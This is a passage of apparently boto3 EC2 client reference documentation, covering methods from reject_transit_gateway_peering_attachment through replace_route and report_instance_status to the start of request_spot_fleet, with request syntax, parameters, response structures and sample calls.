'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'Subnets': [ + { + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **Associations** _(dict) --_ + + Describes the multicast domain associations. + + * **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the resource. + + * **Subnets** _(list) --_ + + The subnets associated with the multicast domain. + + * _(dict) --_ + + Describes the subnet association with the transit gateway multicast domain. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **State** _(string) --_ + + The state of the subnet association. + + +reject_transit_gateway_peering_attachment(kwargs_) + +Rejects a transit gateway peering attachment request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectTransitGatewayPeeringAttachment) + +**Request Syntax** + +response = client.reject_transit_gateway_peering_attachment( + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway peering attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPeeringAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPeeringAttachment** _(dict) --_ + + The transit gateway peering attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway peering attachment. + + * **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + * **Region** _(string) --_ + + The Region of the transit gateway. + + * **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + + * **Code** _(string) --_ + + The status code. + + * **Message** _(string) --_ + + The status message, if applicable. + + * **State** _(string) --_ + + The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + + * **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + + * **Tags** _(list) --_ + + The tags for the transit gateway peering attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +reject_transit_gateway_vpc_attachment(kwargs_) + +Rejects a request to attach a VPC to a transit gateway. + +The VPC attachment must be in the pendingAcceptance state. Use DescribeTransitGatewayVpcAttachments to view your pending VPC attachment requests. Use AcceptTransitGatewayVpcAttachment to accept a VPC attachment request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectTransitGatewayVpcAttachment) + +**Request Syntax** + +response = client.reject_transit_gateway_vpc_attachment( + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayVpcAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayVpcAttachment** _(dict) --_ + + Information about the attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **VpcOwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC. + + * **State** _(string) --_ + + The state of the VPC attachment. Note that the initiating state has been deprecated. + + * **SubnetIds** _(list) --_ + + The IDs of the subnets. + + * _(string) --_ + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The VPC attachment options. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **Ipv6Support** _(string) --_ + + Indicates whether IPv6 support is disabled. + + * **ApplianceModeSupport** _(string) --_ + + Indicates whether appliance mode support is enabled. + + * **Tags** _(list) --_ + + The tags for the VPC attachment. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +reject_vpc_endpoint_connections(kwargs_) + +Rejects one or more VPC endpoint connection requests to your VPC endpoint service. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcEndpointConnections) + +**Request Syntax** + +response = client.reject_vpc_endpoint_connections( + DryRun=True|False, + ServiceId='string', + VpcEndpointIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- + + **[REQUIRED]** + + The ID of the service. + +* **VpcEndpointIds** (_list_) -- + + **[REQUIRED]** + + The IDs of one or more VPC endpoints. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Unsuccessful** _(list) --_ + + Information about the endpoints that were not rejected, if applicable. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +reject_vpc_peering_connection(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcPeeringConnection) + +**Request Syntax** + +response = client.reject_vpc_peering_connection( + DryRun=True|False, + VpcPeeringConnectionId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC peering connection. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +release_address(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = client.release_address( + AllocationId='string', + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +* **AllocationId** (_string_) -- [EC2-VPC] The allocation ID. Required for EC2-VPC. +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example releases an Elastic IP address for use with instances in a VPC. + +response = client.release_address( + AllocationId='eipalloc-64d5890a', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example releases an Elastic IP address for use with instances in EC2-Classic. + +response = client.release_address( + PublicIp='198.51.100.0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +release_hosts(kwargs_) + +When you no longer want to use an On-Demand Dedicated Host it can be released. On-Demand billing is stopped and the host goes into released state. The host ID of Dedicated Hosts that have been released can no longer be specified in another request, for example, to modify the host. You must stop or terminate all instances on a host before it can be released. + +When Dedicated Hosts are released, it may take some time for them to stop counting toward your limit and you may receive capacity errors when trying to allocate new Dedicated Hosts. Wait a few minutes and then try again. + +Released hosts still appear in a DescribeHosts response. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseHosts) + +**Request Syntax** + +response = client.release_hosts( + HostIds=[ + 'string', + ] +) + +Parameters + +**HostIds** (_list_) -- + +**[REQUIRED]** + +The IDs of the Dedicated Hosts to release. + +* _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Successful': [ + 'string', + ], + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **Successful** _(list) --_ + + The IDs of the Dedicated Hosts that were successfully released. + + * _(string) --_ + * **Unsuccessful** _(list) --_ + + The IDs of the Dedicated Hosts that could not be released, including an error message. + + * _(dict) --_ + + Information about items that were not successfully processed in a batch call. + + * **Error** _(dict) --_ + + Information about the error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message accompanying the error code. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + +replace_iam_instance_profile_association(kwargs_) + +Replaces an IAM instance profile for the specified running instance. You can use this action to change the IAM instance profile that's associated with an instance without having to disassociate the existing IAM instance profile first. + +Use DescribeIamInstanceProfileAssociations to get the association ID. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceIamInstanceProfileAssociation) + +**Request Syntax** + +response = client.replace_iam_instance_profile_association( + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + AssociationId='string' +) + +Parameters + +* **IamInstanceProfile** (_dict_) -- + + **[REQUIRED]** + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the existing IAM instance profile association. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'IamInstanceProfileAssociation': { + 'AssociationId': 'string', + 'InstanceId': 'string', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'State': 'associating'|'associated'|'disassociating'|'disassociated', + 'Timestamp': datetime(2015, 1, 1) + } +} + +**Response Structure** + +* _(dict) --_ + + * **IamInstanceProfileAssociation** _(dict) --_ + + Information about the IAM instance profile association. + + * **AssociationId** _(string) --_ + + The ID of the association. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Id** _(string) --_ + + The ID of the instance profile. + + * **State** _(string) --_ + + The state of the association. + + * **Timestamp** _(datetime) --_ + + The time the IAM instance profile was associated with the instance. + + +replace_network_acl_association(kwargs_) + +Changes which network ACL a subnet is associated with. By default when you create a subnet, it's automatically associated with the default network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +This is an idempotent operation. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclAssociation) + +**Request Syntax** + +response = client.replace_network_acl_association( + AssociationId='string', + DryRun=True|False, + NetworkAclId='string' +) + +Parameters + +* **AssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the current association between the original network ACL and the subnet. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclId** (_string_) -- + + **[REQUIRED]** + + The ID of the new network ACL to associate with the subnet. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NewAssociationId** _(string) --_ + + The ID of the new association. + + +**Examples** + +This example associates the specified network ACL with the subnet for the specified network ACL association. + +response = client.replace_network_acl_association( + AssociationId='aclassoc-e5b95c8c', + NetworkAclId='acl-5fb85d36', +) + +print(response) + +Expected Output: + +{ + 'NewAssociationId': 'aclassoc-3999875b', + 'ResponseMetadata': { + '...': '...', + }, +} + +replace_network_acl_entry(kwargs_) + +Replaces an entry (rule) in a network ACL. For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceNetworkAclEntry) + +**Request Syntax** + +response = client.replace_network_acl_entry( + CidrBlock='string', + DryRun=True|False, + Egress=True|False, + IcmpTypeCode={ + 'Code': 123, + 'Type': 123 + }, + Ipv6CidrBlock='string', + NetworkAclId='string', + PortRange={ + 'From': 123, + 'To': 123 + }, + Protocol='string', + RuleAction='allow'|'deny', + RuleNumber=123 +) + +Parameters + +* **CidrBlock** (_string_) -- The IPv4 network range to allow or deny, in CIDR notation (for example 172.16.0.0/24 ). +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether to replace the egress rule. + + Default: If no value is specified, we replace the ingress rule. + +* **IcmpTypeCode** (_dict_) -- + + ICMP protocol: The ICMP or ICMPv6 type and code. Required if specifying protocol 1 (ICMP) or protocol 58 (ICMPv6) with an IPv6 CIDR block. + + * **Code** _(integer) --_ + + The ICMP code. A value of -1 means all codes for the specified ICMP type. + + * **Type** _(integer) --_ + + The ICMP type. A value of -1 means all types. + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range to allow or deny, in CIDR notation (for example 2001:bd8:1234:1a00::/64 ). +* **NetworkAclId** (_string_) -- + + **[REQUIRED]** + + The ID of the ACL. + +* **PortRange** (_dict_) -- + + TCP or UDP protocols: The range of ports the rule applies to. Required if specifying protocol 6 (TCP) or 17 (UDP). + + * **From** _(integer) --_ + + The first port in the range. + + * **To** _(integer) --_ + + The last port in the range. + +* **Protocol** (_string_) -- + + **[REQUIRED]** + + The protocol number. A value of "-1" means all protocols. If you specify "-1" or a protocol number other than "6" (TCP), "17" (UDP), or "1" (ICMP), traffic on all ports is allowed, regardless of any ports or ICMP types or codes that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv4 CIDR block, traffic for all ICMP types and codes allowed, regardless of any that you specify. If you specify protocol "58" (ICMPv6) and specify an IPv6 CIDR block, you must specify an ICMP type and code. + +* **RuleAction** (_string_) -- + + **[REQUIRED]** + + Indicates whether to allow or deny the traffic that matches the rule. + +* **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to replace. + + +Returns + +None + +**Examples** + +This example replaces an entry for the specified network ACL. The new rule 100 allows ingress traffic from 203.0.113.12/24 on UDP port 53 (DNS) into any associated subnet. + +response = client.replace_network_acl_entry( + CidrBlock='203.0.113.12/24', + Egress=False, + NetworkAclId='acl-5fb85d36', + PortRange={ + 'From': 53, + 'To': 53, + }, + Protocol='udp', + RuleAction='allow', + RuleNumber=100, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +replace_route(kwargs_) + +Replaces an existing route within a route table in a VPC. You must provide only one of the following: internet gateway, virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRoute) + +**Request Syntax** + +response = client.replace_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + LocalTarget=True|False, + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + RouteTableId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +* **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +* **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +* **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +* **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway. +* **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. +* **LocalTarget** (_boolean_) -- Specifies whether to reset the local route to its default target (local ). +* **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +* **TransitGatewayId** (_string_) -- The ID of a transit gateway. +* **LocalGatewayId** (_string_) -- The ID of the local gateway. +* **CarrierGatewayId** (_string_) -- [IPv4 traffic only] The ID of a carrier gateway. +* **NetworkInterfaceId** (_string_) -- The ID of a network interface. +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + +* **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Returns + +None + +**Examples** + +This example replaces the specified route in the specified table table. The new route matches the specified CIDR and sends the traffic to the specified virtual private gateway. + +response = client.replace_route( + DestinationCidrBlock='10.0.0.0/16', + GatewayId='vgw-9a4cacf3', + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +replace_route\_table\_association(_\*\*kwargs_) + +Changes the route table associated with a given subnet, internet gateway, or virtual private gateway in a VPC. After the operation completes, the subnet or gateway uses the routes in the new route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can also use this operation to change which table is the main route table in the VPC. Specify the main route table's association ID and the route table ID of the new main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRouteTableAssociation) + +**Request Syntax** + +response \= client.replace\_route\_table\_association( + AssociationId\='string', + DryRun\=True|False, + RouteTableId\='string' +) + +Parameters + +* **AssociationId** (_string_) -- + + **\[REQUIRED\]** + + The association ID. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the new route table to associate with the subnet. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NewAssociationId': 'string', + 'AssociationState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failed', + 'StatusMessage': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **NewAssociationId** _(string) --_ + + The ID of the new association. + + * **AssociationState** _(dict) --_ + + The state of the association. + + * **State** _(string) --_ + + The state of the association. + + * **StatusMessage** _(string) --_ + + The status message, if applicable. + + +**Examples** + +This example associates the specified route table with the subnet for the specified route table association. + +response \= client.replace\_route\_table\_association( + AssociationId\='rtbassoc-781d0d1a', + RouteTableId\='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'NewAssociationId': 'rtbassoc-3a1f0f58', + 'ResponseMetadata': { + '...': '...', + }, +} + +replace\_transit\_gateway\_route(_\*\*kwargs_) + +Replaces the specified route in the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceTransitGatewayRoute) + +**Request Syntax** + +response \= client.replace\_transit\_gateway\_route( + DestinationCidrBlock\='string', + TransitGatewayRouteTableId\='string', + TransitGatewayAttachmentId\='string', + Blackhole\=True|False, + DryRun\=True|False +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- + + **\[REQUIRED\]** + + The CIDR range used for the destination match. Routing decisions are based on the most specific match. + +* **TransitGatewayRouteTableId** (_string_) -- + + **\[REQUIRED\]** + + The ID of the route table. + +* **TransitGatewayAttachmentId** (_string_) -- The ID of the attachment. +* **Blackhole** (_boolean_) -- Indicates whether traffic matching this route is to be dropped. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Route': { + 'DestinationCidrBlock': 'string', + 'PrefixListId': 'string', + 'TransitGatewayAttachments': \[ + { + 'ResourceId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering' + }, + \], + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Route** _(dict) --_ + + Information about the modified route. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list used for destination matches. + + * **TransitGatewayAttachments** _(list) --_ + + The attachments. + + * _(dict) --_ + + Describes a route attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + +report\_instance\_status(_\*\*kwargs_) + +Submits feedback about the status of an instance. The instance must be in the running state. If your experience with the instance differs from the instance status returned by DescribeInstanceStatus , use ReportInstanceStatus to report your experience with the instance. Amazon EC2 collects this information to improve the accuracy of status checks. + +Use of this action does not change the value returned by DescribeInstanceStatus . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReportInstanceStatus) + +**Request Syntax** + +response \= client.report\_instance\_status( + Description\='string', + DryRun\=True|False, + EndTime\=datetime(2015, 1, 1), + Instances\=\[ + 'string', + \], + ReasonCodes\=\[ + 'instance-stuck-in-state'|'unresponsive'|'not-accepting-credentials'|'password-not-available'|'performance-network'|'performance-instance-store'|'performance-ebs-volume'|'performance-other'|'other', + \], + StartTime\=datetime(2015, 1, 1), + Status\='ok'|'impaired' +) + +Parameters + +* **Description** (_string_) -- Descriptive text about the health state of your instance. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EndTime** (_datetime_) -- The time at which the reported instance health state ended. +* **Instances** (_list_) -- + + **\[REQUIRED\]** + + The instances. + + * _(string) --_ +* **ReasonCodes** (_list_) -- + + **\[REQUIRED\]** + + The reason codes that describe the health state of your instance. + + * instance-stuck-in-state : My instance is stuck in a state. + * unresponsive : My instance is unresponsive. + * not-accepting-credentials : My instance is not accepting my credentials. + * password-not-available : A password is not available for my instance. + * performance-network : My instance is experiencing performance problems that I believe are network related. + * performance-instance-store : My instance is experiencing performance problems that I believe are related to the instance stores. + * performance-ebs-volume : My instance is experiencing performance problems that I believe are related to an EBS volume. + * performance-other : My instance is experiencing performance problems. + * other : \[explain using the description parameter\] + + * _(string) --_ +* **StartTime** (_datetime_) -- The time at which the reported instance health state began. +* **Status** (_string_) -- + + **\[REQUIRED\]** + + The status of all instances listed. + + +Returns + +None + +request\_spot\_fleet(_\*\*kwargs_) + +Creates a Spot Fleet request. + +The Spot Fleet request specifies the total target capacity and the On-Demand target capacity. Amazon EC2 calculates the difference between the total capacity and On-Demand capacity, and launches the difference as Spot capacity. + +You can submit a single request that includes multiple launch specifications that vary by instance type, AMI, Availability Zone, or subnet. + +By default, the Spot Fleet requests Spot Instances in the Spot Instance pool where the price per unit is the lowest. Each launch specification can include its own instance weighting that reflects the value of the instance type to your application workload. + +Alternatively, you can specify that the Spot Fleet distribute the target capacity across the Spot pools included in its launch specifications. By ensuring that the Spot Instances in your Spot Fleet are in different Spot pools, you can improve the availability of your fleet. + +You can specify tags for the Spot Fleet request and instances launched by the fleet. You cannot tag other resource types in a Spot Fleet request because only the spot-fleet-request and instance resource types are supported. + +For more information, see [Spot Fleet requests](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-requests.html) in the _Amazon EC2 User Guide for Linux Instances_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RequestSpotFleet) + +**Request Syntax** + +response \= client.request\_spot\_fleet( + DryRun\=True|False, + SpotFleetRequestConfig\={ + 'AllocationStrategy': 'lowestPrice'|'diversified'|'capacityOptimized', + 'OnDemandAllocationStrategy': 'lowestPrice'|'prioritized', + 'SpotMaintenanceStrategies': { + 'CapacityRebalance': { + 'ReplacementStrategy': 'launch' + } + }, + 'ClientToken': 'string', + 'ExcessCapacityTerminationPolicy': 'noTermination'|'default', + 'FulfilledCapacity': 123.0, + 'OnDemandFulfilledCapacity': 123.0, + 'IamFleetRole': 'string', + 'LaunchSpecifications': \[ + { + 'SecurityGroups': \[ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + \], + 'AddressingType': 'string', + 'BlockDeviceMappings': \[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + \], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 